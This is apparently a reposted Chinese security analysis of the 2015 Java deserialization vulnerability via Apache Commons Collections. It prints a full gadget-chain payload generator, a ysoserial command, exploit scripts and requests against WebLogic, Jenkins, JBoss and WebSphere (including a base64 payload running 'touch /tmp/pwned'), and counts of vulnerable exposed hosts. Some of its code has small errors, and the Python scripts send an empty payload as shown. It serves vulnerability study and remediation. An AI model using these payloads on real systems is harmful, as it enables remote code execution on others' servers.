天天看點

Java反序列化漏洞

Lib之過?Java反序列化漏洞通用利用分析 轉自:https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

背景

2015年11月6日,FoxGlove Security安全團隊的@breenmachine 釋出的一篇部落格[3]中介紹了如何利用Java反序列化漏洞,來攻擊最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些大名鼎鼎的Java應用,實作遠端代碼執行。

然而事實上,部落格作者并不是漏洞發現者。部落格中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上給出了一個報告[5],報告中介紹了Java反序列化漏洞可以利用Apache Commons Collections這個常用的Java庫來實作任意代碼執行,當時并沒有引起太大的關注,但是在部落客看來,這是2015年最被低估的漏洞。

确實,Apache Commons Collections這樣的基礎庫非常多的Java應用都在用,一旦程式設計人員誤用了反序列化這一機制,使得使用者輸入可以直接被反序列化,就能導緻任意代碼執行,這是一個極其嚴重的問題,部落格中提到的WebLogic等存在此問題的應用可能隻是冰山一角。

雖然從@gebl和@frohoff的報告到現在已經過去了将近一年,但是@breenmachine的部落格中提到的廠商也依然沒有修複,而且國内的技術人員對這個問題的關注依然較少。為了幫助大家更好的了解它,盡快避免和修複這些問題,本文對此做了一個深入的漏洞原理和利用分析,最後對上面提到的這些受影響的應用,在全球範圍内做一個大概的統計。

Java反序列化漏洞簡介

序列化就是把對象轉換成位元組流,便于儲存在記憶體、檔案、資料庫中;反序列化即逆過程,由位元組流還原成對象。Java中的

ObjectOutputStream

類的

writeObject()

方法可以實作序列化,類

ObjectInputStream

類的

readObject()

方法用于反序列化。下面是将字元串對象先進行序列化,存儲到本地檔案,然後再通過反序列化進行恢複的樣例代碼:

public static void main(String args[]) throws Exception { 
    String obj = "hello world!";

    // 将序列化對象寫入檔案object.db中
    FileOutputStream fos = new FileOutputStream("object.db");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    os.writeObject(obj);
    os.close();

    // 從檔案object.db中讀取資料
    FileInputStream fis = new FileInputStream("object.db");
    ObjectInputStream ois = new ObjectInputStream(fis);

    // 通過反序列化恢複對象obj
    String obj2 = (String)ois.readObject();
    ois.close();
}           

複制

問題在于,如果Java應用對使用者輸入,即不可信資料做了反序列化處理,那麼攻擊者可以通過構造惡意輸入,讓反序列化産生非預期的對象,非預期的對象在産生過程中就有可能帶來任意代碼執行。

是以這個問題的根源在于類

ObjectInputStream

在反序列化時,沒有對生成的對象的類型做限制;假若反序列化可以設定Java類型的白名單,那麼問題的影響就小了很多。

反序列化問題由來已久,且并非Java語言特有,在其他語言例如PHP和Python中也有相似的問題。@gebl和@frohoff的報告中所指出的并不是反序列化這個問題,而是一些公用庫,例如Apache Commons Collections中實作的一些類可以被反序列化用來實作任意代碼執行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些應用的反序列化漏洞能夠得以利用,就是依靠了Apache Commons Collections。這種庫的存在極大地提升了反序列化問題的嚴重程度,可以比作在開啟了ASLR位址随機化防禦的系統中,出現了一個加載位址固定的共享庫,或者類似twitter上的評論中的比喻:

Java反序列化漏洞

@breenmachine的部落格中将漏洞歸咎于Apache Commons Collections這個庫,存在一定的誤解。

利用Apache Commons Collections實作遠端代碼執行

參考Matthias Kaiser在11月份的報告[1],我們以Apache Commons Collections 3為例,來解釋如何構造對象,能夠讓程式在反序列化,即調用

readObject()

時,就能直接實作任意代碼執行。

Map

類是存儲鍵值對的資料結構,Apache Commons Collections中實作了類

TransformedMap

,用來對

Map

進行某種變換,隻要調用

decorate()

函數,傳入key和value的變換函數

Transformer

,即可從任意

Map

對象生成相應的

TransformedMap

decorate()

函數如下:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}           

複制

Transformer

是一個接口,其中定義的

transform()

函數用來将一個對象轉換成另一個對象。如下所示:

public interface Transformer {
    public Object transform(Object input);
}           

複制

Map

中的任意項的Key或者Value被修改,相應的

Transformer

就會被調用。除此以外,多個

Transformer

還能串起來,形成

ChainedTransformer

Apache Commons Collections中已經實作了一些常見的

Transformer

,其中有一個可以通過調用Java的反射機制來調用任意函數,叫做

InvokerTransformer

,代碼如下:

public class InvokerTransformer implements Transformer, Serializable {

...

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}           

複制

隻需要傳入方法名、參數類型和參數,即可調用任意函數。是以要想任意代碼執行,我們可以首先構造一個

Map

和一個能夠執行代碼的

ChainedTransformer

,以此生成一個

TransformedMap

,然後想辦法去觸發

Map

中的

MapEntry

産生修改(例如

setValue()

函數),即可觸發我們構造的Transformer。

測試代碼如下:

public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {
            String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {
            Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {
            String.class }, new Object[] {"calc.exe"})};

    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("value", "value");
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    onlyElement.setValue("foobar");

}           

複制

當上面的代碼運作到

setValue()

時,就會觸發

ChainedTransformer

中的一系列變換函數:首先通過

ConstantTransformer

獲得

Runtime

類,進一步通過反射調用

getMethod

找到

invoke

函數,最後再運作指令

calc.exe

但是目前的構造還需要依賴于觸發

Map

中某一項去調用

setValue()

,我們需要想辦法通過

readObject()

直接觸發。

我們觀察到java運作庫中有這樣一個類

AnnotationInvocationHandler

,這個類有一個成員變量

memberValues

Map

類型,如下所示:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }
    ...           

複制

更令人驚喜的是,

AnnotationInvocationHandler

readObject()

函數中對

memberValues

的每一項調用了

setValue()

函數,如下所示:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                // 此處觸發一些列的Transformer
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}           

複制

是以,我們隻需要使用前面構造的

Map

來構造

AnnotationInvocationHandler

,進行序列化,當觸發

readObject()

反序列化的時候,就能實作指令執行。另外需要注意的是,想要在調用未包含的package中的構造函數,我們必須通過反射的方式,綜合生成任意代碼執行的payload的代碼如下:

public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {
            String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {
            Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {
            String.class }, new Object[] {"calc.exe"})};

    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("value", "value");
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(Target.class, outerMap);

    File f = new File("payload.bin");
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
    out.writeObject(instance);
    out.flush();
    out.close();

}           

複制

以上解釋了如何通過Apache Commons Collections 3這個庫中的代碼,來構造序列化對象,使得程式在反序列化時可以立即實作任意代碼執行。

我們可以直接使用工具ysoserial[2][5]來生成payload,當中包含了4種通用的payload:Apache Commons Collections 3和4,Groovy,Spring,隻要目标應用的Class Path中包含這些庫,ysoserial生成的payload即可讓

readObject()

實作任意指令執行。

ysoserial當中針對Apache Commons Collections 3的payload也是基于

TransformedMap

InvokerTransformer

來構造的,而在觸發時,并沒有采用上文介紹的

AnnotationInvocationHandler

,而是使用了

java.lang.reflect.Proxy

中的相關代碼來實作觸發。此處不再做深入分析,有興趣的讀者可以參考ysoserial的源碼。

漏洞利用執行個體

利用過程概述

首先拿到一個Java應用,需要找到一個接受外部輸入的序列化對象的接收點,即反序列化漏洞的觸發點。我們可以通過審計源碼中對反序列化函數的調用(例如

readObject()

)來尋找,也可以直接通過對應用互動流量進行抓包,檢視流量中是否包含java序列化資料來判斷,java序列化資料的特征為以标記(ac ed 00 05)開頭。

确定了反序列化輸入點後,再考察應用的Class Path中是否包含Apache Commons Collections庫(ysoserial所支援的其他庫亦可),如果是,就可以使用ysoserial來生成反序列化的payload,指定庫名和想要執行的指令即可:

java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out           

複制

通過先前找到的傳入對象方式進行對象注入,資料中載入payload,觸發受影響應用中

ObjectInputStream

的反序列化操作,随後通過反射調用

Runtime.getRunTime.exec

即可完成利用。

WebLogic

參照[3]中的方法,對安裝封包件grep受影響的類

InvokerTransformer

root@f45f0209fa11:/opt/OracleHome# grep -R InvokerTransformer ./
Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches           

複制

接着通過尋找接收外部輸入的點,來讓我們發送序列化對象。

WebLogic外部隻開了一個7001端口,這個端口接受HTTP,T3,SNMP協定,判斷協定類型後再把資料路由到内部正确的位置,通過在server上抓包,發現走T3協定時攜帶了java序列化對象,是以我們隻用把這個封包從序列化開始的标記(ac ed 00 05)後加入payload,重放這個資料,完成利用。

以下是breenmachine的完整利用腳本:

#!/usr/bin/python
import socket
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb').read()

payload=''
print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)           

複制

在weblogic的利用中,有個小坑是不能破壞原始T3協定資料中包裝的java對象。

Jenkins

Jenkins是一個非常流行的CI工具,在很多企業的内網中都部署了這個系統,這個系統常常和企業的代碼相關聯,這次也受到了Java反序列化漏洞的影響,非常危險。

同樣,通過grep受影響的類

InvokerTransformer

root@f45f0209fa11:/usr/share/jenkins# grep -R "InvokerTransformer"  ./
Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches           

複制

在開放的端口上抓包,定位到Jeenkins的CLI封包中的序列化開始标記(rO0)。 在發送CLI的第一個封包後:

00000000  00 14 50 72 6f 74 6f 63  6f 6c 3a 43 4c 49 2d 63         ..Protoc ol:CLI-c
00000010  6f 6e 6e 65 63 74                                      onnect           

複制

在标記位的地方将base64處理過的payload修改覆寫原始封包中的序列化對象,發包後,完成利用。

以下是@breenmachine的完整利用腳本:

#!/usr/bin/python

#usage: ./jenkins.py host port /path/to/payload
import socket
import sys
import requests
import base64

host = sys.argv[1]
port = sys.argv[2]

#Query Jenkins over HTTP to find what port the CLI listener is on
r = requests.get('http://'+host+':'+port)
cli_port = int(r.headers['X-Jenkins-CLI-Port'])

#Open a socket to the CLI port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, cli_port)
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
print 'sending "%s"' % headers
sock.send(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb').read()
payload_b64 = base64.b64encode(payloadObj)
payload=''

print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)           

複制

Jboss

Jboss受影響的情況就比之前Jenkins遜色不少,正如之前所說,要成功利用必須要找到程式接受外部輸入的點,而此處的利用需要/invoker/jmx的支援,大部分情況下的實際場景,jboss都删除了jmx,是以讓此處的利用大打折扣。

分析流程和之前一樣,隻不過此處接受的點在jmx上,是以通過的協定也和前兩個不同,是HTTP協定,不再贅述,詳細的jboss分析可以參看Exploit – JBoss。

利用如下:

curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload.out' http://172.17.0.2:8080/invoker/JMXInvokerServlet           

複制

也可以看breenmachine給出的http請求封包:

POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 172.17.0.2:8080
Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue
Content-Length: 1434

payload
           

複制

Java反序列化漏洞

WebSphere

WebSphere的利用相比較之前幾個case就非常粗暴簡單了,可惜的是很少會暴露在公網。

找到受影響的lib的位置。

root@f45f0209fa11:/opt/server/IBM# find . -iname "*commons*collection*"
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar
./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar
./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar
./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar
./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar           

複制

檢視端口開放情況後發現WebSphere預設起了10個端口監聽所有接口,通過burp suite看到在請求websphere預設端口8880上有一個POST的請求,body中帶有base64處理後的java序列化對象,同樣的,标記位置仍然是”rO0”,我們将生成的payload做base64處理後覆寫之前的序列化對象即可利用。

Java反序列化漏洞
POST / HTTP/1.0
Host: 127.0.0.1:8880
Content-Type: text/xml; charset=utf-8
Content-Length: 2646
SOAPAction: "urn:AdminService"

<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0">
<LoginMethod>BasicAuth</LoginMethod>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEHRvdWNoIC90bXAvcHduZWR0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==</objectname>
<attribute xsi:type="xsd:string">ringBufferSize</attribute>
</ns1:getAttribute>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>           

複制

其它

因為這個安全問題的根源在于

ObjectInputStream

處理反序列化時接受外部輸入,而又由于其他類似

InvokerTransformer

的類的構造函數被調用,進而造成執行,而

InvokerTransformer

友善的提供了根據外部輸入類名函數名反射執行的作用,是以造成整個程式RCE。

是以該問題并不是像其他一些語言unserialize函數本身存在漏洞,而是在應用本身實作的方式上存在缺陷,導緻應用受到RCE的影響,開個腦洞引申一下,可以很明了的發現,遠遠不止breenmachine所指出的這幾個流行web server,更可能影響更多使用了

commons-collections

,并且觸發

ObjectInputStream

反序列化操作的應用,如一些java開發的CMS,中間件等等,甚至不僅僅是PC端,移動端如Android的很多app都可能受到該問題影響。

漏洞影響

通過簡單的全網分析和POC驗證。

Jenkins收到該漏洞影響較大,在自測中,全球暴露在公網的

11059

台均受到該問題影響,zoomeye的公開資料中再測試後有

12493

受到該漏洞影響,shadon的公開資料中

16368

台jenkins暴露公網可能受到影響(未複測shadon資料)。

Weblogic因為公開到公網的資料較少,是以受影響面也稍微少一些,在自測中,全球

486

台均受到該問題影響,zoomeye的公開資料中再測試後有

201

台收到該漏洞影響,shadon的公開資料中

806

台weblogic可能受到影響(未複測shadon資料)。

Jboss因為需要/invoker/JMXInvokerServlet的支援,是以受影響面稍小(但我們并未具體檢測jboss中沒有删除/invoker/JMXInvokerServlet的資料),在自測中,全球

29194

台jboss暴露在公網,但由于大部分jboss都删除了jmx,是以真正受到影響的覆寫面并不廣,zoomeye的公開資料中有

7770

台jboss暴露在公網,shadon的公開資料中

46317

台jboss暴露在公網。

WebSphere在自測中,全球暴露在公網的

2076

台均受到該問題影響,zoomeye的公開資料中再測試後仍有

4511

台websphere受到影響,shadon的公開資料中

5537

台websphere可能受到影響(未複測shadon資料)。

Java反序列化漏洞

修複建議

因為受影響的多家廠商在今年1月拿到POC至今都沒有對該問題做任何修複,是以短期内并不會有官方更新檔放出,如果很重視這個安全問題并且想要有一個臨時的解決方案可以參考NibbleSecurity公司的ikkisoft在github上放出了一個臨時更新檔

SerialKiller

下載下傳這個jar後放置于classpath,将應用代碼中的

java.io.ObjectInputStream

替換為

SerialKiller

,之後配置讓其能夠允許或禁用一些存在問題的類,

SerialKiller

有Hot-Reload,Whitelisting,Blacklisting幾個特性,控制了外部輸入反序列化後的可信類型。

lib位址:https://github.com/ikkisoft/SerialKiller

參考資料

  1. Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java.
  2. https://github.com/frohoff/ysoserial
  3. foxglovesecurity analysis
  4. github JavaUnserializeExploits
  5. appseccali-2015-marshalling-pickles